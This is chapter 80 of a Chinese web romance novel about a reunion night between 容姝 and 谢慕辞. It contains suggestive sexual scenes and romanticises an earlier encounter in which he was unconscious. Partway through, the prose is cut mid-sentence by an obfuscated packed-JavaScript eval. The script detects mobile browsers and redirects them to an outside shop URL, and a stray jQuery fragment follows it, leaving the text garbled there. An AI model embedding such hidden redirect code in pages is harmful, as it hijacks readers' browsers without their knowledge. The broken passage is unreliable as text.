80. 旧梦
作品:《误欺清冷少师》 月明星稀,虫鸣未歇,一对紧紧相拥却有些踉跄的身影,斜斜落在地上。
“先生要带我去哪儿?”容姝抱着他的腰,步子不稳。
“先前唤谢某夫君,现在唤先生了?”谢慕辞步伐也稳不到哪里去,刻意隐藏的醉意,现下全都暴露了出来。
他大手掐紧她肩骨,将人牢牢擒在怀里。
“你不是喜欢我唤你先生吗,嗯?”容姝一个没注意,脚踩到他脚上,一个踉跄,差点没带着俩人一起摔下去。
谢慕辞眼疾手快将人一把扣住,顾不得醉意,将人横抱了起来,嘴里冷哼道:“容二娘子还是多说些谢某爱听的吧,谢某高兴了,一会儿就让娘子少受些罪。”
容姝根本不听他的威胁,拽住他肩后顺滑的墨发,张嘴就咬住那近在咫尺的耳垂,在耳边呼着热气道:“我还没罚先生呢,先生就要让我受罪,岂有此理!”
小娘子带着酒意的声音又软又甜,唇齿间呼出的淡淡酒气异常好闻,勾得人心猿意马。
她咬着咬着,就变成了细细密密地亲吻,从耳后到脖颈,最后流连在那隆起的山结上,急切又张狂地吮吻着。
那令人窒息的湿热传来,谢慕辞忍不住滚动山结,加快了脚下步伐。
容姝玩得尽兴,全然没注意到,他何时已经将自己抱回账内,重重压在榻上。
他迫她抬眸看自己,清冽的声音带着蛊惑,“容姝,你醉了。”
容姝面色酡红,眼神有些迷离,却潇洒挥手:“胡说!我还能再喝,给我满上!满上!”
“好,满上。”
她上一瞬还见那人神色温柔地俯看自己,下一瞬就觉天旋地转,眼前一片恍惚。
她被人翻面了……
脸埋在柔软的被褥里,晕得不知天地为何物。
“你——”容姝惊呼一声。
她虽醉着,却也醒着,知道俩人久别重逢自然会克制不住行亲密之事。却没想到漫漫长夜尚未开始,他就猝不及防地踏入。
也不知他是怎么知晓她已经准备好了……
她眸光细碎,是骤然打翻了酒坛子,溅得到处都是,亦是星河骤泄,势要与君共赴人间沉沦。不自觉地抬手紧捂嘴唇,颤得厉害。
谢慕辞持起那柔嫩的脸盘,绯唇贴了上去,哑声道:“娘子已然情动,勿怪谢某鲁莽。”
他轻轻拨开她捂嘴的手,将小娘子的咽呜声放了出来,“娘子只管欢愉,外间无人。”
……
月向西沉,营地喧闹散去,有情人尚未停歇。
谢慕辞眸中醉意全然散去,爱怜地在她光洁纤薄的肩骨上落下一吻,“谢某醉得厉害,让娘子受累了。”
容姝眼尾泛红,“那你还不出去!”
“娘子不喜欢?”
“混账!”
“还有更混账的!”谢慕辞抱起她,乾坤颠倒,“谢某想知道,莫山那夜,娘子是如何施为的?”
“……”容姝神情一默,紧张中随意挪了两下,跌得更深,“你,你什么意思?你不是已经原谅我了吗?”
虽说他嘴上从未说过原谅她的话,可行为上早就表现出已经不在意。再说俩人早就行过多次亲密之事,何至于还放不下莫山那点事。
他现下又提及此事,容姝想不明白他是什么意思。
她抿唇思索,不自觉地紧了力气。
谢慕辞蹙眉,她总是在不经意间让人慌了神,勾人而不自知。
“自然是重温旧梦。”哑沉的嗓音中藏着一丝难以言喻的急切。
那件事虽然已经过去了很久,却还一直刻在他心上。他昏睡间只依稀记得一些零星片段,断断续续的,凑不成完整的记忆。
“乖,好不好?”谢慕辞持起她的手放在自己面上,眸光缱绻温柔,蛊惑非凡地哄着。
容姝眼皮跳得厉害,不自觉咽了下口水,她何曾见过他此等模样,柔情似水,风情月意,俨然是要她心醉魂迷,溺死在他身上。
美人相邀,焉有不应的道理,于是容姝胆子大了起来,咽声问:“你确定?”
“嗯。”
见他配合地闭上眼睛,墨发如瀑,容颜惑人,一动不动地躺在榻上。容姝心神凝结,好似又回到了初识那日,他也如这般清冷如仙,出尘得不像话。
她抬出去的手先是有些颤抖,终究还是小心翼翼地攀上了那湾瓷白锁骨,碾着那颗周边泛着糜红的朱砂痣,“山匪郎君,得罪了。”
……
五更之际,天地肃静,只听得见微微喘息声。
容姝精疲力竭,啄着那人眼皮,“先生,你可以醒了。”
谢慕辞掀开眼眸,看不出情绪。
容姝心里一咯噔,难道是嫌她太狂悖了?!
也是,当初中了那虎狼之药,又是第一次,哪里知晓分寸!
她有些不好意思地下来,蜷着身子钻进被窝里,头低低埋着,转悠着两只乌溜漆黑的眼珠子,四处乱瞟,不敢轻易说话。
都怪她太实诚了,竟然如法炮制,也不知含蓄点,随便糊弄了事。
万一谢慕辞一个恼羞成怒,日后再不理她了该怎么办!
时间缓缓流逝,容姝越发忐忑,指尖戳着他臂膀,“先生,你生气啦?”
谢慕辞默了片刻,随后转身将人揽进怀里,胸膛跳得厉害,“原来如此。”
“?”
他已然明白,当初若非自己也十分情动,她是绝不会有机会怀上他的孩子。
想起昔日小娘子怀身子的种种,三番五次遭受迫害,每次求到跟前,那副可怜又无助的神情,让人心疼得发慌。
为了生下阿遂,她被驱逐出圣华殿,又与容家闹翻,声誉尽毁,无家可归,可谓是吃尽了苦头。
他心口堵得厉害,有些事悔之不及,当初,他该多怜她几分的。
大手揉着她尚有些濡湿潮热的秀发,“容姝,对不起,你可曾怪过我?”
“嗯?”容姝扬起脸,有些不明所以,“我怎会怪你!过去本就是我不问自取,纠缠不休,一厢情愿。”
“……看来一年不见,容二娘子学问又有所精进。”谢慕辞指尖缠着她头发,轻轻拨弄着。
容姝轻哼,“没有先生教,自当要勤学苦练咯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331398|194932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“为什么要跟我道歉?”
“过去,我对你并不好。”
她眼眶泛红:“先生肯收留我,护着我,已是极好。”
指尖触上他胸前伤口,心疼道:“我和大夫人他们听到消息都快担心死了,你怎么能这么不小心!万一,万一……”
她实在不敢想那个万一。
谢慕辞轻笑,将事情原委都与她说了一遍,“是我疏忽了,应该派人将谢姓军师已无碍的消息传出去。”
此间他也写过多封家书,可惜战火连天,两地又相距甚远,想来都石沉大海了。
容姝捶了他一下,“你什么时候将金铃铛拿走了?我说怎么到处都没找到!还以为你是骗我的,那铃铛根本没在主屋,而是焚在了那场火里。”
谢慕辞没有回答她这个问题,指腹轻揉她面颊,默了几瞬后问道:“当初我将阿遂带走了,你是不是恨极了我?”
“你说呢!”容姝掐着他腕上皮肉,恶狠狠道:“我恨不得将你剥皮拆骨呐!”
他手上一顿,“你,都听见了?”
容姝又是一声轻哼,“我现在腰酸腿软,跟被剥皮拆骨也无甚差别,先生可算是出了气。”
“谢某怎会舍得?”他长指按上,替人松松揉捏着,“其实,我知晓你一定会找去吴樾。”
“我一直在等你。”
“!”容姝抬脸,瞪大了眼珠子,“你,这,我……”
他在说什么胡话!简直震得人无法正常思考。
“我对那件事无法轻易释怀,对你亦是。”
乖张跳脱的小娘子早已在不知不觉中进驻到他心里,辗转反侧间都是她那张巧笑嫣兮的脸。她扰乱了他的心绪,摧毁了他的理智,躲不过,也戒不了。
自欺欺人了许久,终是抵不过漫天疯长的情意。
抢走孩子是为抵消冤债,消除心结,亦是为了重新开始,给彼此一个新的起点。
原以为那次灯会能洒脱地放她走,可事到临头却是那样的不舍。她会回来,他欣喜若狂,迫不及待将人占有,只为求一份心安。
容姝回过味来,惊道:“我的天呀,先生你真是为师不尊!明明自己也肖想怀着身子的学子,还满口仁义道德,振振有词地指责我!动辄冷着脸让我离你远一点,原来心里早在想入非非……”
“枉为人师,有辱斯文!”
谢慕辞:“……”
他就不该自我剖白,不仅被取笑,还要被羞辱……
双眸一闭,闷道:“睡了。”
“我让你睡!”容姝压了上去,上下其手挠他痒痒,“老实交代,还有没有其他事隐瞒我?!”
“谢某尚未尽兴,算不算?”
墨眸透亮,炯炯有神,无尽缠绵地盯着身上胡闹的小娘子。
“呸,衣冠禽兽!”容姝立下老实了,不敢再动。
她竟不知他光风霁月的皮下是如此孟浪,亏她以为他清冷自持,不染人间红尘。
谢慕辞将人搂进怀里,唇边漾起无边笑意。
天光微白,黎明已至,他们之间亦如是。

